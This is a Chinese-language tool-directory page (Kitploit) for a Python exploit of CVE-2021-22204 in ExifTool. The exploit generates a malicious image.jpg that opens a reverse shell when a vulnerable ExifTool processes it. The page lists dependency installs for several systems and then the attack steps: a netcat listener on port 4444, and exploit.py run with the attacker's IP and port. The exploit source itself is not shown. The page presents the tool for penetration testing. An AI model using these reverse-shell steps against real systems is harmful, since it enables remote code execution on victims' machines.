Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-22204-exiftool — Python 针对 ExifTool 中 CVE-2021-22204 的漏洞利用程序,可生成恶意图像,当易受攻击的版本处理该图像时,会触发反向 Shell。 | Kitploit
工具/GitHubGitHub/mr-tuhin/cve-2021-22204-exiftool
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubmr-tuhin/cve-2021-22204-exiftool

CVE-2021-22204-exiftool

Python 针对 ExifTool 中 CVE-2021-22204 的漏洞利用程序,可生成恶意图像,当易受攻击的版本处理该图像时,会触发反向 Shell。

查看仓库
924年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-22204-exiftool

针对 Exiftool 中 CVE-2021-22204 漏洞的 Python 利用工具。

视频教程

Youtube

root@kitploit:~
    404 未找到

依赖要求

root@kitploit:~
python3 python3-pip djvulibre-bin exiftool

安装依赖

Debian

root@kitploit:~
    apt-get install djvulibre-bin libimage-exiftool-perl python-minimal python-pip

Ubuntu

root@kitploit:~
    apt-get install djvulibre-bin libimage-exiftool-perl python-minimal python-pip

Arch Linux

root@kitploit:~
    pacman -S djvulibre libimage-exiftool-perl python python-pip

Kali Linux

root@kitploit:~
    apt-get install djvulibre-bin libimage-exiftool-perl python-minimal python-pip

Fedora

root@kitploit:~
    dnf install djvulibre libimage-exiftool-perl python-minimal python-pip

OS X

root@kitploit:~
    brew install djvulibre exiftool python

Raspbian

root@kitploit:~
    apt-get install djvulibre-bin libimage-exiftool-perl python-minimal python-pip

如何运行:

安装 Python 依赖

root@kitploit:~
    sudo pip install -r requirements.txt

使用 netcat 启动反向 shell

root@kitploit:~
    nc -nvlp 4444

赋予执行权限

root@kitploit:~
    chmod +x exploit.py

运行程序

root@kitploit:~
    python3 exploit.py {你的 IP 地址} {你的监听端口} 
    

或者

root@kitploit:~
    ./exploit.py {你的 IP 地址} {你的监听端口}

示例

root@kitploit:~
    python3 exploit.py 192.168.0.1 4444
    

或者

root@kitploit:~
    ./exploit.py 192.168.0.1 4444

输出文件名为

root@kitploit:~
    image.jpg
    

关于该漏洞

CVE-2021-22204 由 William Bowling(@wcbowling)发现并报告。

该利用工具是在该 CVE 被报告后,通过研究 exiftool 的补丁而制作的。

当使用存在漏洞的 exiftool 打开 image.jpg 时,该文件将触发此漏洞。

下载工具